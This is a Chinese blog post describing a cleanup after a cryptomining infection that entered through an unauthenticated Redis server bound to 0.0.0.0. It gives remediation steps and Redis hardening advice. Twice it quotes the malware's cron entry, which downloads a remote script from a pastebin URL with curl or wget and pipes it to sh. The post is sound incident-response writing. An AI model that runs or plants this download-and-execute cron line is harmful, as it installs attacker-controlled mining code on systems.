记一次Linux服务器因redis漏洞的挖矿病毒入侵

中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱。

所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!!!!!!!!

这个病毒能都横向传播,不要以为在外网redis的端口不通就没有事情。只要内网里有机器感染了病毒,就可以继续感染。

病症:CPU被不明进程吃满。

该病毒主要是通过,crontab定时任务,向指定网站下载脚本,运行进行挖矿。

通过crontab -l 就能查看

*/15 * * * * (curl -fsSL https://pastebin.com/raw/HdjSc4JR||wget -q -O- https://pastebin.com/raw/HdjSc4JR)|sh
通过crontab -r 和crontab -e 是删除不掉的,因为本地有进程维护着这个定时任务。
而且,这个病毒还劫持了一些linux系统的命令,比如ps。
处理过程:
1.利用linux的iptables,对上方ip网段的进出口都封杀。这样能够治标,将CPU降下来。修改redis密码。
2.检查用户下的.ssh文件夹,删除不是自己的公钥。中毒的时候,有可能被写入了对方的公钥,使得别人不需要密码,直接登录ssh登录
3.利用默安科技的清理工具,进行清理。github地址:https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool
4.清理之后,linux的ps命令应该是正常了,通过ps -ef 找出kerberods的相关的进程树进行杀掉,注意,病毒可能变种,还需要具体问题具体分析。
5.病毒进程杀掉之后,应该可以修改crontab里的内容了。到这里了还不行,还需要检查/var/spool/cron/ , /var/spool/cron/crontabs/ 和 /etc/cron.d/ 下的用户文件,有可能也被写入了定时任务,然后配合linux的 anacron就有可能替换cron,从而还原crontab定时任务。
上面大概就是这次清理这个病毒的大致过程,搞了两天,终于将ps进程里的 (curl -fsSL https://pastebin.com/raw/HdjSc4JR||wget -q -O- https://pastebin.com/raw/HdjSc4JR)|sh 干掉了。现在还在继续观察着,,,,,,
血的教训,服务器安全意识还是要有啊。redis能不bind 0.0.0.0 就不bind , 同时一定要设密码,创建新的用户来启动redis,限制启动redis的用户登录权限。

PS:如果确定了病毒是通过定时任务来执行的,可以对定时任务进行跟踪,查看都执行了什么。
  strace -o output.txt -T -f -ff -tt -e trace=all -p 定时任务PID


posted @ 2019-04-13 17:28  唉唉唉唉  阅读(3023)  评论(0编辑  收藏  举报